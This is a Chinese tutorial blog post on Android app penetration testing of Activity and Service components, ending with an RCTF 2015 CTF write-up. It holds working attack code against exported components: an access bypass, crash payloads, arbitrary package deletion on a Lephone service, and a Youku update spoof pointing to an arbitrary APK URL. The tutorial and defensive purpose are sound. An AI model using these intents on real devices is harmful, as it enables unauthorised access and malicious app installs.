android app渗透测试-Activity、Service
Android App中可能出现的安全漏洞的类型:
- 协议——通信协议(本地、网络),协议大部分是由C/C++实现,存在以下安全问题:通信数据引发的逻辑漏洞;通信数据引发的缓冲区溢出等可能导致远程代码执行/拒绝服务的代码漏洞。
- 组件安全——Activity,Service服务,Content Provider内容提供者,BroadcastReceiver广播接收器中可能存在的安全问题,其中最主要的就是intent组件通信导致的拒绝服务/越权漏洞。
- 开放端口——可通过命令查看各APP运行时存在的开放端口,然后去逆向分析APP查看其在此开放端口上进行的操作,从而找寻可能的漏洞。
- IPC(进程间通信)安全——同1。
- 文件读写安全/数据加密安全——Android平台上的隐私泄露也是一个值得关注的攻击面。
思维导图来源
获取apk源代码
通过adb获取android系统应用或者第三方app:
adb shell pm path app包名
adb pull apk路径
如果是系统应用,可能因为优化,源代码不在apk文件,而是在vdex文件中:
- vdex是dex代码直接转化的可执行二进制码文件
- 第一次开机就会生成在
/system/app/<packagename>/oat/
下; - 在系统运行过程中,虚拟机将其从
/system/app
下copy到/data/davilk-cache/
下 - 通过vdexExtrator可以将vdex转成dex,然后继续进行分析
关于vdex更多知识
例子:
下图是Genymotion模拟器中蓝牙系统应用的vdex文件路径,比一般的安卓系统相比把arm换成了x86
拉取vdex到本地:
vdexExtrator使用
在kali里面安装编译vdexExtrator中的工具,转化vdex为dex,下图适用于Android9以上的情况
将Bluetooth.apk拖入JEB中查看Manifest文件:
将Bluetooth.dex拖入JEB中查看源码:
观察清单文件
这些组件会在apk的AndroidManifest.xml中声明,需要重点关注可导出的组件:
- 具备exported=true属性的组件
- 配置了intent-filter的service默认是可导出的
这些组件会直接对外提供服务,容易直接受到攻击
- 要重点看这些组件的permission,是否第三方app可调用,还是仅系统进程可调用
- 如果没对调用进行权限限制或者是没有对调用者的身份进行有效的验证,那么恶意构造的APP都可以传入恰当的参数进行调用,导致恶意的行为发生,比如说调用具有system权限的删除卸载服务删除卸载其他应用
防护方面可以将android:protectionLevel
从normal提升到dangerous、signature,组件权限设置参考
Activity漏洞挖掘
Activity越权漏洞示例
例子:sieve.apk
例子下载以及相关知识详见
应用正常交互流程
Genymotion打开应用,交互顺序如下:
首先要求输入密码:
在提交password之后,再输入pin:
然后要求输入刚才的密码:
点击登录后,可进入“Your Passwords”页面:
JEB反编译查看攻击面
可以知道包名为com.mwr.example.sieve
可以看到除了启动activity之外,还有两个activity导出为true
实现越权绕过
使用adroid studio编写testseive应用,直接调用导出activity,实现越权绕过
// 要调用的包名
String mPackageName="com.mwr.example.sieve";
// 要调用的activity
String mActivityName="com.mwr.example.sieve.PWList";
Intent intent=new Intent();
intent.setComponent(new ComponentName(mPackageName,mActivityName));
// 启动intent
startActivityForResult(intent,1);
构建并运行testseive应用,可以看到能够直接进入“Your Passwords”页面,实现越权绕过
防护策略
- 私有Activity不应被其他应用启动,创建activity时,设置exported属性为false
- 公开暴露的Activity组件,可以被任意应用启动,需要谨慎处理接收的Intent,不应发送敏感信息,收到返回数据谨慎处理
Activity拒绝服务攻击
参考链接
NullPointerException
源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃
漏洞应用代码片段:
Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {Log.d("TAG", "Test for Android Refuse Service Bug");
}
攻击应用代码片段:
不提供action,直接启动activity就可以导致崩溃
adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity
ClassCastException示例
源于程序没有对 getSerializableExtra() 等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃
漏洞应用代码片段:
Intent i = getIntent();
String test = (String)i.getSerializableExtra("serializable_key");
攻击应用代码片段:
Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);
先启动漏洞app,再启动攻击app,漏洞app就会crash:
可以看到android studio中的类型转换报错:
IndexOutOfBoundsException
源于程序没有对 getIntegerArrayListExtra() 等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃
漏洞应用代码片段:
Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {// 没有对intArray大小进行检验for (int i = 0; i<10; i++) {intArray.get(i);}
}
攻击应用代码片段:
Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
ArrayList<Integer> user_id = new ArrayList<Integer>();
i.putExtra("user_id", user_id);
startActivity(i);
android studio报错:
ClassNotFoundException
源于程序没有无法找到从 getSerializableExtra() 获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃
漏洞应用代码片段:
Intent i = getIntent();
i.getSerializableExtra("serializable_key");
攻击应用代码片段:
@Override
protected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);Intent i = new Intent();i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");ArrayList<Integer> user_id = new ArrayList<Integer>();i.putExtra("serializable_key", new SelfSerializableData());startActivity(i);}//在这里重新定义了一个类
static class SelfSerializableData implements Serializable {private static final long serialVersionUID = 42L;public SelfSerializableData() {super();}
}
android studio部分报错:
防护策略
- 将不必要的导出的组件设置为不导出
- 建议intent处理数据时进行捕获异常。处理通过 Intent.getXXXExtra() 获取的数据时进行以下判断,以及用 try catch 方式进行捕获所有异常,以防止应用出现拒绝服务漏洞:
- 空指针异常;
- 类型转换异常;
- 数组越界访问异常;
- 类未定义异常;
- 其他异常;
Activity劫持
对手拦截发送来启动一个基于android的可信活动的隐式intent,并在其位置启动一个假冒活动。然后,恶意活动被用来模拟受信任活动的用户界面,并提示目标输入敏感数据,就像目标正在与受信任活动交互一样。
Service漏洞挖掘
参考链接
Service非授权访问
导出的service未进行权限设置和调用者身份验证,使得调用者通过调用该service实现非授权访问或权限提升。
漏洞案例
乐phone手机出厂默认包含一个名为jp.aplix.midp.tools的应用包。本应用以system权限运行,并向其他应用提供ApkInstaller服务,用来进行对Apk文件的安装和删除。通过向ApkInstaller服务传递构造好的参数,没有声明任何权限的应用即可达到安装和删除任意Package的行为,对系统安全性产生极大影响。
攻击代码:
Intent in = new Intent();
in.setComponent(new ComponentName("jp.aplix.midp.tools","jp.aplix.midp.tools.ApkInstaller"));
in.putExtra("action", "deleteApk");
in.putExtra("pkgName", "xxxxx");
startService(in);
Service消息伪造
service未对intent中的数据进行充分检查,导致接收伪造的恶意消息
漏洞案例
优酷Android 4.5客户端组件暴露导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装!
组件com.youku.service.push.StartActivityService声明如下,对外暴露:
<serviceandroid:label="Youku Push Notifications StartActivityService"android:name="com.youku.service.push.StartActivityService"android:exported="true"
>
该组件对应的代码执行部分如下:
protected void onHandleIntent(Intent intent) {Intent v0;String v23;// 获取pushMsg数据Serializable pushMsg = intent.getSerializableExtra("PushMsg");......AppVersionManager.getInstance(Youku.context).showAppAgreementDialog();// 根据pushMsg.type判断执行流程switch(pushMsg.type) {case 1: {goto label_53;}......}......label_53:intent.setFlags(876609536);intent.setClass(this, UpdateActivity.class);// 从pushMsg.updateurl中获取升级URLintent.putExtra("updateurl", pushMsg.updateurl);intent.putExtra("updateversion", pushMsg.updateversion);intent.putExtra("updatecontent", pushMsg.updatecontent);intent.putExtra("updateType", 2);this.startActivity(intent);return;......
该组件从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type来执行不同的流程,当type值为1时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址。
攻击代码:
该漏洞触发的关键在于对PushMsg数据的控制,创建一个Android App程序,在主Activity中的关键代码如下:
PushMsg pushMsg = new PushMsg();
pushMsg.type = 1;
pushMsg.updateurl = "http://任意URL/test.apk";
pushMsg.updatecontent = "This is Fake";Intent intent = new Intent();
intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");
intent.putExtra("PushMsg", pushMsg);
startService(intent);
其中PushMsg类不需要完整实现,只需要编译通过即可;
反编译优酷客户端的App得到smali代码,从中提取出PushMsg.smali;
反编译上述创建的APK文件,将原PushMsg类的smali文件替换为优酷中的PushMsg.smali文件,重新打包签名;
安装并运行重打包后的APK,会看到优酷的升级页面触发,如果设计的好的话,是可以诱导用户安装攻击者指定的APK文件的。
Service拒绝服务
service未对接收的intent中的数据进行异常处理,导致程序崩溃。
防护原理
- 私有service不定义intent-filter并且设置exported为false
- 合作service需对合作方的app签名做校验
- 只被应用本身使用的service应设置为私有
- 不应在service创建(onCreate方法被调用)的时候决定是否提供服务,应在onStartCommand/onBind/onHandleIntent等方法被调用时做判断
- 内部service需要使用签名级别的protectionLevel来判断是否被内部应用调用
- service接收的数据需要谨慎处理
其他参考链接:
https://tea9.xyz/post/3182197634.html
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
CTF实例
参考链接1
参考链接2
来源:RCTF 2015 Mobile350-Load
描述:This APK has a vulnerability,Can you load the flag? Try it.WaWaWa_0bb98521a9f21cc3672774cfec9c7140
程序运行
攻击面确定
通过JEB查看清单文件,有1个Activity,2个Service(其中CoreService是normal权限),1个BroadcastReciver外部可访问且没有进行权限设置
还有一个外部不可访问的WebActivity
静态逆向分析
先分析MainActivity,没什么东西
WebActivity
然后分析WebActivity,发现它能够利用WebView加载flag
首先用intent根据"KEY"获取序列化数据v0,然后分别调用a()、b()、c()函数,返回值分别对应v1、v2、loading
看一下里面的b类,调用a()、b()、c()函数会分别返回b.b、b.c、b.d
注意到WebActivity中黄色框圈起的代码中,还有a.a,里面是密文xHLK4mR+0huhd6YSEc5Qzh+/yEZ7Vqs4PLKJ3cv3dPUQO7xLZCX731yPvd2V1mS0XXtIVgNisRw=:
MiscService
分析MiscService,它里面有一个intent,获取类名CLASS_NAME后,可以给某个类发送消息
CoreService
分析coreservice,可以看到有暴露的aidl接口,连上这个binder就可以获得this.a的数据
因为this.a属于b类,那么点进去看b类的设计,b类中应用了Load类中的getUrl、getToken、getIv函数,其中b.a()返回的是c(Load.getUrl(this.a), Load.getToken(this.a)).a(),b.b()返回的是null,b.c()返回的是iv值
观察v0所属的c类,并继续分析com.example.wawawa.b.c,可以发现是在访问网址请求数据:根据输入的Load的native函数getUrl以及getToken,获取vps-url以及token参数,post到vps-url,若token正确即可获取key
在Load类中,可以看到这些函数都是在so库中实现的,考虑到有上面暴露的接口,就不选择用so库逆向的方式解题:
总结
为加载flag,WebActivity需要被启动,同时获得KEY作为序列化输入
- 启动WebActivity需要:给MiscService传递WebActivity的类名
- 获得KEY需要:
- KEY是com.example.wawawa.a.b类型,包含3个属性,在WebActivity分别为v1、v2、loading
- v1是key,可以通过CoreService的binder的a()方法获得
- v2是iv,可以通过CoreService的binder的c()方法获得
- KEY是com.example.wawawa.a.b类型,包含3个属性,在WebActivity分别为v1、v2、loading
所以获取flag的步骤为:
- 通过AIDL绑定CoreService进行访问,获取WebActivity中加密函数使用的key和iv
- 通过MiscService暴露出来的next_intent,模拟intent运行WebActivity获得flag
POC编写
新建android app工程
清单文件添加访问权限
添加访问权限(MiscService未添加权限要求,不用声明):
<uses-permission android:name="com.example.wawawa.permission.CORE_SERVICE"/>
AIDL绑定CoreService
MainActivity中主要代码
import com.example.wawawa.d;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);try {// 调用CoreService的binderComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.CoreService");Intent intent = new Intent();intent.setComponent(com);// Intent service, ServiceConnection conn, int flagsbindService(intent, connD, Context.BIND_AUTO_CREATE);} catch (Exception e) {}}private d da;private ServiceConnection connD = new ServiceConnection() {@Overridepublic void onServiceConnected(ComponentName name, IBinder service) {// 调用Stub类的客户端接口方法获取服务端数据da = d.a.a(service);try {System.out.println("c() Load.getIv------------- " + da.c()); //返回ivSystem.out.println("a() Load.getkey------------- " + da.a()); //返回key} catch (RemoteException e) {e.printStackTrace();}}@Overridepublic void onServiceDisconnected(ComponentName name) {// TODO Auto-generated method stub}};
}
创建com.example.wawawa.d类提供接口定义,可以直接复制load apk中该类的反编译结果并进行微调:
package com.example.wawawa;import android.os.Binder;
import android.os.IBinder;
import android.os.IInterface;
import android.os.Parcel;
import android.os.RemoteException;public interface d extends IInterface {public static abstract class a extends Binder implements d {/* renamed from: a reason: collision with root package name */private static final String f418a = "com.example.wawawa.d";static final int b = 1;static final int c = 2;static final int d = 3;/* renamed from: com.example.wawawa.d$a$a reason: collision with other inner class name */private static class C0016a implements d {/* renamed from: a reason: collision with root package name */private IBinder f419a;C0016a(IBinder iBinder) {this.f419a = iBinder;}public IBinder asBinder() {return this.f419a;}public String d() {return a.f418a;}public String a() throws RemoteException {Parcel obtain = Parcel.obtain();Parcel obtain2 = Parcel.obtain();try {obtain.writeInterfaceToken(a.f418a);this.f419a.transact(1, obtain, obtain2, 0);obtain2.readException();return obtain2.readString();} finally {obtain2.recycle();obtain.recycle();}}public String b() throws RemoteException {Parcel obtain = Parcel.obtain();Parcel obtain2 = Parcel.obtain();try {obtain.writeInterfaceToken(a.f418a);this.f419a.transact(2, obtain, obtain2, 0);obtain2.readException();return obtain2.readString();} finally {obtain2.recycle();obtain.recycle();}}public String c() throws RemoteException {Parcel obtain = Parcel.obtain();Parcel obtain2 = Parcel.obtain();try {obtain.writeInterfaceToken(a.f418a);this.f419a.transact(3, obtain, obtain2, 0);obtain2.readException();return obtain2.readString();} finally {obtain2.recycle();obtain.recycle();}}}public a() {attachInterface(this, f418a);}public static d a(IBinder iBinder) {if (iBinder == null) {return null;}IInterface queryLocalInterface = iBinder.queryLocalInterface(f418a);if (queryLocalInterface == null || !(queryLocalInterface instanceof d)) {return new C0016a(iBinder);}return (d) queryLocalInterface;}public IBinder asBinder() {return this;}public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException {switch (i) {case 1:parcel.enforceInterface(f418a);String a2 = a();parcel2.writeNoException();parcel2.writeString(a2);return true;case 2:parcel.enforceInterface(f418a);String b2 = b();parcel2.writeNoException();parcel2.writeString(b2);return true;case 3:parcel.enforceInterface(f418a);String c2 = c();parcel2.writeNoException();parcel2.writeString(c2);return true;case 1598968902:parcel2.writeString(f418a);return true;default:return super.onTransact(i, parcel, parcel2, i2);}}}String a() throws RemoteException;String b() throws RemoteException;String c() throws RemoteException;
}
运行app获取key和iv
因为远程vps连不上的,所以无法获取key值,可以知道iv值是12345678
通过MiscService启动WebActivity
在testwawawa的MainActivity中添加以下代码:
import com.example.wawawa.a.b;protected void onCreate(Bundle savedInstanceState) {...ComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.MiscService");Intent intent1 = new Intent();intent1.setComponent(com);intent1.putExtra("CLASS_NAME","com.example.wawawa.WebActivity");intent1.putExtra("KEY", new b("xxxxxxxx","12345678","loading"));startService(intent1);
}
添加com.example.wawawa.a.b类,可以直接复制load apk中该类的反编译结果
package com.example.wawawa.a;
import java.io.Serializable;/* compiled from: Data */
public class b implements Serializable {/* renamed from: a reason: collision with root package name */private static final long f412a = -3601187837704976264L;private String b;private String c;private String d;public b(String str, String str2, String str3) {this.b = str;this.c = str2;this.d = str3;}public String a() {return this.b;}public String b() {return this.c;}public String c() {return this.d;}
}
最终效果
再次运行testwawawa,可以看到wawawa中能够显示flag loading:
然后尝试展示flag,但因为key是错误的,vps也已关闭,所以无法显示flag:
android app渗透测试-Activity、Service相关推荐
- 【APP渗透测试】 Android APP渗透测试技术实施以及工具使用(客户端服务端)
文章目录 前言 一.安全威胁分析 二.主要风险项 三.Android测试思维导图 四.反编译工具 五.Android客户端 漏洞一.Jnaus漏洞 漏洞二.数据备份配置风险漏洞 漏洞三.Activit ...
- android app 渗透测试,android app渗透测试方法大全.pdf
Android APP 渗透测试方法大全 by backlion 一.Android APP 渗透测试方法 1.测试环境 SDK : J a JDK , Android SDK. 工具: 7zip, ...
- aap渗透_Android App渗透测试工具分享
这段时间因为某些原因接触了Android App渗透测试,发现了几个不错的App渗透测试工具(虽然这些工具早就出来了 2333),搭建测试环境的过程中遇到了一些问题,特地总结一下,希望能给大家带来帮助 ...
- APP渗透测试准备(一)
APP渗透测试准备(一) 文章目录 APP渗透测试准备(一) 环境准备 安装adb 安装frida frida hook实例 环境准备 Windows10 X64 Python 3.7 OppoR9s ...
- Android App专项测试-压力测试篇
小伙伴们大家好,今天主要分享的主题是Android App专项测试.如何进行Android App专项测试压力测试呢?我们主要通过Android平台的一门工具Monkey.在学习本门课程之前,如果你具 ...
- 网络安全进阶篇(十一章-7)APP渗透测试篇(下)
每日一句:重启可以解决很多问题,如虚拟机问题,模拟器问题等等,本文章的一些操作不成功的话,重启试试 一.快速自建一个App 1.App难写吗?(1) ~问:我不懂Java我能写App吗? 答:我觉得大 ...
- Android App 压力测试 monkeyrunner
Android App 压力测试 第一部分 背景 1. 为什么要开展压力测试? 2. 什么时候开展压力测试? 第二部分 理论 1. 手工测试场景 2. 自动测试创建 3. Monkey工具 4. AD ...
- Android APP压力测试(二) 之Monkey信息自动收集脚本
转载-原文地址: http://www.cnblogs.com/findyou/p/3936063.html Android APP压力测试(二) 之Monkey信息自动收集脚本 前言: 本文重点 ...
- APP渗透测试通过burp抓取https包
目录 0x01 前言 0x02 工具的准备 0x03 搭建流程 1.1 安装夜神模拟 1.2 配置burpsuite监听的ip及端口 1.3 夜神模拟器安装证书 1.4 夜神模拟器开启代理模式 1. ...
最新文章
- Android Toast自己定义Toast例子
- Stanford UFLDL教程 线性解码器
- [云炬创业基础笔记]第二章创业者测试14
- lnmp 一键安装包部署ThinkPHP5
- Git之常用命令的综合使用和示例分析
- SQL常用语句大全(值得收藏)
- 快手春节活动奖励未到账,被羊毛党投诉上了全国12315平台
- 话里话外:流程管理评价的两大要素
- 鱼c工作室小甲鱼的水平_历历万乡 | 得两代帝王喜爱,又上过国际舞台!深冬就去浙个“年鱼福气”加持的小村子吧!...
- Ubuntu 16.04源码搭建ELK日志分析系统(Elasticsearch+Logstash+Kibana)
- 8个成语接龙首尾相连_小学经典成语200个,已按场景分类好,孩子写作不再词穷...
- 微信浪漫告白小程序java_厉害了,微信小程序可以这样表白,还怕他(她)拒绝你?...
- c语言编程怎样进行反函数计算器,反函数计算器
- PMP考试真题模拟PMP考试模拟试题及答案详解
- 网站备案常见词汇解释汇总
- 高考后的我们要去追逐星辰大海
- 武义县城区棚户区改造溪南区块安置房建设项目(标段一)电能管理系统的研究及应用
- mac安装软件允许任何来源(sudo spctl --master-disable)
- 将BMP 格式图片转换为 JPEG 格式【c语言】
- 神经系统的区分图解高中,神经系统的区分和组成
热门文章
- 集电极开路输出OC门(讲的最明白的一篇文章)
- DLT645-2007电能表通讯协议+DDSY5188电能表之间通讯简介
- RPM完全安装升级另类用法
- 【ChatGPT】ChatGPT 在智能客服产品如何落地?
- 职称英语 计算机免考条件,职称英语免考条件(2020全面取消四六级)
- 软件测试常见面试题及解答
- SNAT和DNAT原理及应用
- InfiniBand, RDMA, iWARP, RoCE , CNA, FCoE, TOE, RDMA, iWARP, iSCSI等概念
- opencv for python的图像梯度算子以及canny边缘检测
- 深度学习Week14-yolov5s.yaml文件解读(YOLOv5)